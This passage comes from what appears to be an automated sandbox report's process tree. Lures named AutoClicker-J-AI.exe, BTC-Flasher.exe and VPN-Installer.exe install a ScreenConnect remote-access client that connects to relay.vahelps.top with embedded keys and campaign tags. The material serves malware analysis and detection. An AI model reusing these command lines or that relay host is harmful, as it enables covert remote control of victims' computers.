                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 89B8F36B5097067F3BBED7A68D7C8476 C
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:3632
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE713.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241297203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                    3⤵
                                                    • Loads dropped DLL
                                                    • System Location Discovery: System Language Discovery
                                                    PID:996
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 5D41985BF1B96B1414A5AB28F558D6FC
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4128
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 00E078E3CA27A03288DE8EC44A19694A E Global\MSI0000
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • Drops file in Windows directory
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3064
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 58C4699C69D4AA893D4A4F40DCBA4615 C
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4376
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI21CB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241312296 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                    3⤵
                                                    • Loads dropped DLL
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3820
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 3C6B355A5EF4EFC2CF598C26657793FE
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1740
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 2768315ABA567584EAF240F4AFC1A088 C
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:3056
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI88F1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241338671 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                    3⤵
                                                    • Loads dropped DLL
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5116
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding FEEA12BC835B17E2AD65B7C8798CE3AF
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2604
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 2F42ED5C44A32EA13B385C84E3F86E24 E Global\MSI0000
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1056
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 26B8DDF1ED94A63CE5B26EE23F81610F C
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1792
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICF57.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241487796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2920
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 534679E3EBFC08C3DC704D3B0233A5D1
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2984
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 59D8D72F1287F91E0BE7C7C04C28CA83 C
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:396
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI16EF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241506109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3024
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding C418B454B32A423B899570F451D93DD4
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1244
                                                • C:\Windows\syswow64\MsiExec.exe
                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 1E80FE38758CB1456AB64F2E6DB7A23D E Global\MSI0000
                                                  2⤵
                                                  • Drops file in Windows directory
                                                  • System Location Discovery: System Language Discovery
                                                  PID:604
                                              • C:\Windows\system32\vssvc.exe
                                                C:\Windows\system32\vssvc.exe
                                                1⤵
                                                • Checks SCSI registry key(s)
                                                PID:3792
                                              • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
                                                "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vahelps.top&p=8041&s=bb212036-9f37-46ca-99ab-ac42f37709e0&k=BgIAAACkAABSU0ExAAgAAAEAAQDhaIar%2bL1KV6GFRlxD7tSQHmgDc5%2bEmz%2bwlbQzwsSBftaKd12u%2bGO%2bh%2bY2hEFVX3Zh17GjJ6Gv%2b2BSJZQ6Ml7neNCJsbKaTGZJ72D12CtD%2b5goZGgHiRpiK%2fdZvtUn2pEZ%2b02WgN%2bFlOPeEVqujt9WSSwilh45puSR3wk5Bcek%2bAJ7DSFc8w2dKB8lMB%2b9Sut13ZAuQGU54iXcCAQKW2FzC%2bdWR6rWMLyLu0Qhovk5WQMHa1gP0VO4sj6hFlzpnPKhV5otTXkkA9Se9MHQ%2fVwzc7LAXB%2fWL51gKwL1KSNJ4JEjPQI46RPKUGEgY7vXp1o49EPqOwAn04LE4Ucaq1K0&t=FREE_VPN"
                                                1⤵
                                                • Sets service image path in registry
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Drops file in System32 directory
                                                • System Location Discovery: System Language Discovery
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of WriteProcessMemory
                                                PID:3116
                                                • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                  "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe" "RunRole" "12337850-2b3d-4843-a4e9-32eb8a58f012" "User"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:468
                                              • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
                                                "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vahelps.top&p=8041&s=bb212036-9f37-46ca-99ab-ac42f37709e0&k=BgIAAACkAABSU0ExAAgAAAEAAQDhaIar%2bL1KV6GFRlxD7tSQHmgDc5%2bEmz%2bwlbQzwsSBftaKd12u%2bGO%2bh%2bY2hEFVX3Zh17GjJ6Gv%2b2BSJZQ6Ml7neNCJsbKaTGZJ72D12CtD%2b5goZGgHiRpiK%2fdZvtUn2pEZ%2b02WgN%2bFlOPeEVqujt9WSSwilh45puSR3wk5Bcek%2bAJ7DSFc8w2dKB8lMB%2b9Sut13ZAuQGU54iXcCAQKW2FzC%2bdWR6rWMLyLu0Qhovk5WQMHa1gP0VO4sj6hFlzpnPKhV5otTXkkA9Se9MHQ%2fVwzc7LAXB%2fWL51gKwL1KSNJ4JEjPQI46RPKUGEgY7vXp1o49EPqOwAn04LE4Ucaq1K0&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAokFQDM4%2bw0%2bEzCeXG6QzxAAAAAACAAAAAAAQZgAAAAEAACAAAADgeT83M%2f34U%2bOreuKiNmlyT7Kyq4KuE%2bSS%2bF6p4KQBzAAAAAAOgAAAAAIAACAAAAAgsaSj3u4PAH11F0QJfWM2gKKseDBoObBO2KFQasP2pKAEAAABgwz8yK0DkwlI9bHqIfbQw%2fRoyvtl%2f572N%2bq3HEvBp0Gkqg0j2nBLTztxhpqFy4tMPG9Hxpp0k2b%2bxVzJXglPXJ1iZj%2f9qecbtUuIWJKr0Kjj0gNz8VyAx8Kq0z0mTle3Pg0zRGse%2f4quQCXP0boHQzcQaWJtURAkBH03sygrUGNIsvyCfBtifq9V6dJqxkhvm%2fsYzce9Qyy%2fOUcAtZMQlhyCEkGXUc1Og5H4zqkSXHBHp%2folntGNBgtV1gRQuxCkOSkUsyhrvwXc1UZ32KPZY6mzZuGjxrmmg3RJv3RuORfeVtumN2yROLKV%2bOk5FKdReXsAxIbnpqyou6AlrosWrSZy75bWU8ersca%2fuDpYNnTWsjA32lAd5zMEq3ovhveHayUIKc8XkW1LEviXT1Zr9hG5ZzTeAWWWn52HrE0%2bXSlaxReJcEH%2beQPe93J42rB56qEwLNolz%2be02KBPJewJ739UIyUrRGvjnKc5AvLKAgPgKCJRTw9sNgFyb9FUYg9XQmYnv127Kj6%2bqypY%2fsy5hDBeJaZ0DWf5WiX5aenfoJRsM%2b57ZobAATK5LWVxHbr8qMpqTmNV4wW4KoaboY3ir2l6hNVIvvv6gNLb%2b44BZKzlANcSrLPGG1jg8u1vooA59JJzaK2kwjdi%2bsw5nfDavLYYMw1i5aD8nVHzDIWruIGRHxCKjWko9aRqHmnCrpRVhzPwzE9oLt9rqCkkpusM9NzH25WPzea5tpEN58LY6rbg3RGoE5nkZQEqbzY%2fysHDPBk5BeAy5%2fUj3d8fbxhR1zOK82xQS1ug3Z4tBuL6EPV4Pq1BSZ7G41eiM%2fZeRU4X7rWgJXE9%2bKaFx42hHHBSNUpT0KEp0yW39D5EcFRZmOmx%2fUz%2bn6Uqbk31rcvcxv9esoYqejXLMXF2t%2fdC0wB7xxEEQlSDKfjNnppjxBNx%2f2DI%2bNlh3Fo64NISf1PipJTnfjrdvQZkpb6O2nXvyMsXKGDslL%2fSfUTmNksWohyvW6EdT3qWivNMXK4Lird3Kfhr9S43Tm5Nh3MO82ktGyzl6wLEBBwRsO0tru7GHhHmVRDXcNGG%2faip5BsB5sJdnFCHN6ANM5P1KvBzIFzUv87wZuSdT45ZEJNNioNCL7ujYu%2fxOEUE5ea5vDm75%2fJLCqPYG43%2bIIVm8vOo8Ok67T9QQnXg9jb34qgu8hk4tvDxOJwuEqreDwNk%2fQGXg7lPkuhcBNUKjled6V7vRJ%2fwzmL4aLKxNdOB2001NKJUglt19ma7i8zscAuxNcxlbc1GcV8EXDnmDIQTf1o1jV%2fJr54pjm6aIsShr6DWkT6DKpEpn9JDmgk48rf8l52KrkX2oPsR5nr%2f2ndnxRmOpPKvQsPgGFhg8bxu0nKJ86axiAmsIajYIHkOnPEQehXGbwztED0vvccPSbG8mcGprE7%2f1C30%2bDbQ%2fToB5Lb9ZBTkmSROa8rSHvtZ6r3WLYCVDCgZnWwRBy3COg8R5bTOfz2vh7QhmQcDodJdexmbu52%2bARaUILBf4HhTZBvHZQgfd0F4ckddVKKl2n6r9QdPu1mr803yMg29nkXOBaAzxo3gTlc0W0AAAADoFFs87XQa6Eg0H6xllB3R%2fKg89oA8YthZyXkBK2eerrxogWh7DI%2fLmir86NTUUIeDMFS9J5gczH9JN6tYaGnZ&t=AUTOCLICKER"
                                                1⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • System Location Discovery: System Language Discovery
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of WriteProcessMemory
                                                PID:1408
                                                • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                  "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe" "RunRole" "74267e91-e11f-4f86-a437-bf8e66deae5a" "User"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:568
                                              • C:\Users\Admin\AppData\Local\Temp\a\AutoClicker-J-AI.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a\AutoClicker-J-AI.exe"
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of WriteProcessMemory
                                                PID:1028
                                                • C:\Windows\SysWOW64\msiexec.exe
                                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
                                                  2⤵
                                                  • Enumerates connected drives
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2408
                                              • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
                                                "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vahelps.top&p=8041&s=bb212036-9f37-46ca-99ab-ac42f37709e0&k=BgIAAACkAABSU0ExAAgAAAEAAQDhaIar%2bL1KV6GFRlxD7tSQHmgDc5%2bEmz%2bwlbQzwsSBftaKd12u%2bGO%2bh%2bY2hEFVX3Zh17GjJ6Gv%2b2BSJZQ6Ml7neNCJsbKaTGZJ72D12CtD%2b5goZGgHiRpiK%2fdZvtUn2pEZ%2b02WgN%2bFlOPeEVqujt9WSSwilh45puSR3wk5Bcek%2bAJ7DSFc8w2dKB8lMB%2b9Sut13ZAuQGU54iXcCAQKW2FzC%2bdWR6rWMLyLu0Qhovk5WQMHa1gP0VO4sj6hFlzpnPKhV5otTXkkA9Se9MHQ%2fVwzc7LAXB%2fWL51gKwL1KSNJ4JEjPQI46RPKUGEgY7vXp1o49EPqOwAn04LE4Ucaq1K0&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAokFQDM4%2bw0%2bEzCeXG6QzxAAAAAACAAAAAAAQZgAAAAEAACAAAADgeT83M%2f34U%2bOreuKiNmlyT7Kyq4KuE%2bSS%2bF6p4KQBzAAAAAAOgAAAAAIAACAAAAAgsaSj3u4PAH11F0QJfWM2gKKseDBoObBO2KFQasP2pKAEAAABgwz8yK0DkwlI9bHqIfbQw%2fRoyvtl%2f572N%2bq3HEvBp0Gkqg0j2nBLTztxhpqFy4tMPG9Hxpp0k2b%2bxVzJXglPXJ1iZj%2f9qecbtUuIWJKr0Kjj0gNz8VyAx8Kq0z0mTle3Pg0zRGse%2f4quQCXP0boHQzcQaWJtURAkBH03sygrUGNIsvyCfBtifq9V6dJqxkhvm%2fsYzce9Qyy%2fOUcAtZMQlhyCEkGXUc1Og5H4zqkSXHBHp%2folntGNBgtV1gRQuxCkOSkUsyhrvwXc1UZ32KPZY6mzZuGjxrmmg3RJv3RuORfeVtumN2yROLKV%2bOk5FKdReXsAxIbnpqyou6AlrosWrSZy75bWU8ersca%2fuDpYNnTWsjA32lAd5zMEq3ovhveHayUIKc8XkW1LEviXT1Zr9hG5ZzTeAWWWn52HrE0%2bXSlaxReJcEH%2beQPe93J42rB56qEwLNolz%2be02KBPJewJ739UIyUrRGvjnKc5AvLKAgPgKCJRTw9sNgFyb9FUYg9XQmYnv127Kj6%2bqypY%2fsy5hDBeJaZ0DWf5WiX5aenfoJRsM%2b57ZobAATK5LWVxHbr8qMpqTmNV4wW4KoaboY3ir2l6hNVIvvv6gNLb%2b44BZKzlANcSrLPGG1jg8u1vooA59JJzaK2kwjdi%2bsw5nfDavLYYMw1i5aD8nVHzDIWruIGRHxCKjWko9aRqHmnCrpRVhzPwzE9oLt9rqCkkpusM9NzH25WPzea5tpEN58LY6rbg3RGoE5nkZQEqbzY%2fysHDPBk5BeAy5%2fUj3d8fbxhR1zOK82xQS1ug3Z4tBuL6EPV4Pq1BSZ7G41eiM%2fZeRU4X7rWgJXE9%2bKaFx42hHHBSNUpT0KEp0yW39D5EcFRZmOmx%2fUz%2bn6Uqbk31rcvcxv9esoYqejXLMXF2t%2fdC0wB7xxEEQlSDKfjNnppjxBNx%2f2DI%2bNlh3Fo64NISf1PipJTnfjrdvQZkpb6O2nXvyMsXKGDslL%2fSfUTmNksWohyvW6EdT3qWivNMXK4Lird3Kfhr9S43Tm5Nh3MO82ktGyzl6wLEBBwRsO0tru7GHhHmVRDXcNGG%2faip5BsB5sJdnFCHN6ANM5P1KvBzIFzUv87wZuSdT45ZEJNNioNCL7ujYu%2fxOEUE5ea5vDm75%2fJLCqPYG43%2bIIVm8vOo8Ok67T9QQnXg9jb34qgu8hk4tvDxOJwuEqreDwNk%2fQGXg7lPkuhcBNUKjled6V7vRJ%2fwzmL4aLKxNdOB2001NKJUglt19ma7i8zscAuxNcxlbc1GcV8EXDnmDIQTf1o1jV%2fJr54pjm6aIsShr6DWkT6DKpEpn9JDmgk48rf8l52KrkX2oPsR5nr%2f2ndnxRmOpPKvQsPgGFhg8bxu0nKJ86axiAmsIajYIHkOnPEQehXGbwztED0vvccPSbG8mcGprE7%2f1C30%2bDbQ%2fToB5Lb9ZBTkmSROa8rSHvtZ6r3WLYCVDCgZnWwRBy3COg8R5bTOfz2vh7QhmQcDodJdexmbu52%2bARaUILBf4HhTZBvHZQgfd0F4ckddVKKl2n6r9QdPu1mr803yMg29nkXOBaAzxo3gTlc0W0AAAADoFFs87XQa6Eg0H6xllB3R%2fKg89oA8YthZyXkBK2eerrxogWh7DI%2fLmir86NTUUIeDMFS9J5gczH9JN6tYaGnZ&t=BTC-FLASHER"
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Modifies data under HKEY_USERS
                                                PID:2976
                                                • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                  "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe" "RunRole" "27f58587-14d5-42fd-bfbb-98030a75155c" "User"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:4848
                                              • C:\Users\Admin\AppData\Local\Temp\a\BTC-Flasher.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a\BTC-Flasher.exe"
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                PID:980
                                                • C:\Windows\SysWOW64\msiexec.exe
                                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
                                                  2⤵
                                                  • Enumerates connected drives
                                                  • System Location Discovery: System Language Discovery
                                                  PID:840
                                              • C:\Users\Admin\AppData\Local\Temp\a\VPN-Installer.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a\VPN-Installer.exe"
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                PID:5020
                                                • C:\Windows\SysWOW64\msiexec.exe
                                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
                                                  2⤵
                                                  • Enumerates connected drives
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4132
                                              • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
                                                "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vahelps.top&p=8041&s=bb212036-9f37-46ca-99ab-ac42f37709e0&k=BgIAAACkAABSU0ExAAgAAAEAAQDhaIar%2bL1KV6GFRlxD7tSQHmgDc5%2bEmz%2bwlbQzwsSBftaKd12u%2bGO%2bh%2bY2hEFVX3Zh17GjJ6Gv%2b2BSJZQ6Ml7neNCJsbKaTGZJ72D12CtD%2b5goZGgHiRpiK%2fdZvtUn2pEZ%2b02WgN%2bFlOPeEVqujt9WSSwilh45puSR3wk5Bcek%2bAJ7DSFc8w2dKB8lMB%2b9Sut13ZAuQGU54iXcCAQKW2FzC%2bdWR6rWMLyLu0Qhovk5WQMHa1gP0VO4sj6hFlzpnPKhV5otTXkkA9Se9MHQ%2fVwzc7LAXB%2fWL51gKwL1KSNJ4JEjPQI46RPKUGEgY7vXp1o49EPqOwAn04LE4Ucaq1K0&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAokFQDM4%2bw0%2bEzCeXG6QzxAAAAAACAAAAAAAQZgAAAAEAACAAAADgeT83M%2f34U%2bOreuKiNmlyT7Kyq4KuE%2bSS%2bF6p4KQBzAAAAAAOgAAAAAIAACAAAAAgsaSj3u4PAH11F0QJfWM2gKKseDBoObBO2KFQasP2pKAEAAABgwz8yK0DkwlI9bHqIfbQw%2fRoyvtl%2f572N%2bq3HEvBp0Gkqg0j2nBLTztxhpqFy4tMPG9Hxpp0k2b%2bxVzJXglPXJ1iZj%2f9qecbtUuIWJKr0Kjj0gNz8VyAx8Kq0z0mTle3Pg0zRGse%2f4quQCXP0boHQzcQaWJtURAkBH03sygrUGNIsvyCfBtifq9V6dJqxkhvm%2fsYzce9Qyy%2fOUcAtZMQlhyCEkGXUc1Og5H4zqkSXHBHp%2folntGNBgtV1gRQuxCkOSkUsyhrvwXc1UZ32KPZY6mzZuGjxrmmg3RJv3RuORfeVtumN2yROLKV%2bOk5FKdReXsAxIbnpqyou6AlrosWrSZy75bWU8ersca%2fuDpYNnTWsjA32lAd5zMEq3ovhveHayUIKc8XkW1LEviXT1Zr9hG5ZzTeAWWWn52HrE0%2bXSlaxReJcEH%2beQPe93J42rB56qEwLNolz%2be02KBPJewJ739UIyUrRGvjnKc5AvLKAgPgKCJRTw9sNgFyb9FUYg9XQmYnv127Kj6%2bqypY%2fsy5hDBeJaZ0DWf5WiX5aenfoJRsM%2b57ZobAATK5LWVxHbr8qMpqTmNV4wW4KoaboY3ir2l6hNVIvvv6gNLb%2b44BZKzlANcSrLPGG1jg8u1vooA59JJzaK2kwjdi%2bsw5nfDavLYYMw1i5aD8nVHzDIWruIGRHxCKjWko9aRqHmnCrpRVhzPwzE9oLt9rqCkkpusM9NzH25WPzea5tpEN58LY6rbg3RGoE5nkZQEqbzY%2fysHDPBk5BeAy5%2fUj3d8fbxhR1zOK82xQS1ug3Z4tBuL6EPV4Pq1BSZ7G41eiM%2fZeRU4X7rWgJXE9%2bKaFx42hHHBSNUpT0KEp0yW39D5EcFRZmOmx%2fUz%2bn6Uqbk31rcvcxv9esoYqejXLMXF2t%2fdC0wB7xxEEQlSDKfjNnppjxBNx%2f2DI%2bNlh3Fo64NISf1PipJTnfjrdvQZkpb6O2nXvyMsXKGDslL%2fSfUTmNksWohyvW6EdT3qWivNMXK4Lird3Kfhr9S43Tm5Nh3MO82ktGyzl6wLEBBwRsO0tru7GHhHmVRDXcNGG%2faip5BsB5sJdnFCHN6ANM5P1KvBzIFzUv87wZuSdT45ZEJNNioNCL7ujYu%2fxOEUE5ea5vDm75%2fJLCqPYG43%2bIIVm8vOo8Ok67T9QQnXg9jb34qgu8hk4tvDxOJwuEqreDwNk%2fQGXg7lPkuhcBNUKjled6V7vRJ%2fwzmL4aLKxNdOB2001NKJUglt19ma7i8zscAuxNcxlbc1GcV8EXDnmDIQTf1o1jV%2fJr54pjm6aIsShr6DWkT6DKpEpn9JDmgk48rf8l52KrkX2oPsR5nr%2f2ndnxRmOpPKvQsPgGFhg8bxu0nKJ86axiAmsIajYIHkOnPEQehXGbwztED0vvccPSbG8mcGprE7%2f1C30%2bDbQ%2fToB5Lb9ZBTkmSROa8rSHvtZ6r3WLYCVDCgZnWwRBy3COg8R5bTOfz2vh7QhmQcDodJdexmbu52%2bARaUILBf4HhTZBvHZQgfd0F4ckddVKKl2n6r9QdPu1mr803yMg29nkXOBaAzxo3gTlc0W0AAAADoFFs87XQa6Eg0H6xllB3R%2fKg89oA8YthZyXkBK2eerrxogWh7DI%2fLmir86NTUUIeDMFS9J5gczH9JN6tYaGnZ&t=FREE_VPN"
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Modifies data under HKEY_USERS
                                                PID:4692
                                                • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                  "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe" "RunRole" "5fb28501-c747-48d3-ac4b-586971fcfd21" "User"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:764
                                              • C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe
                                                "C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications
                                                1⤵
                                                  PID:4768
                                                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                  1⤵
                                                    PID:1416
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                    1⤵
                                                      PID:2320
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                      1⤵
                                                        PID:1612
                                                      • C:\Windows\system32\msiexec.exe
                                                        C:\Windows\system32\msiexec.exe /V
                                                        1⤵
                                                        • Enumerates connected drives
                                                        • Boot or Logon Autostart Execution: Authentication Package
                                                        • Drops file in Program Files directory
                                                        • Drops file in Windows directory
                                                        • Modifies data under HKEY_USERS
                                                        • Modifies registry class
                                                        PID:4048
                                                        • C:\Windows\syswow64\MsiExec.exe
                                                          C:\Windows\syswow64\MsiExec.exe -Embedding E7EE87381CB21AA8F6ED4A84B58BFC33 C
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:3120
                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF3C8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242349093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2744
                                                        • C:\Windows\syswow64\MsiExec.exe
                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 501C26F1CE30D7B554A79751F99BB4EE
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4992
                                                        • C:\Windows\syswow64\MsiExec.exe
                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 61A8950CFA1EEDB446376A3DD14F3157 E Global\MSI0000
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:3692
                                                        • C:\Windows\syswow64\MsiExec.exe
                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 8F1D51CFCAEC926228398F458DDE36A1 C
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2480
                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8068.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242385015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4328
                                                        • C:\Windows\syswow64\MsiExec.exe
                                                          C:\Windows\syswow64\MsiExec.exe -Embedding F1388A9BCDC3D64ED9DD91AC684C718E
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:904
                                                      • C:\Windows\system32\vssvc.exe
                                                        C:\Windows\system32\vssvc.exe
                                                        1⤵
                                                          PID:2532
                                                        • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
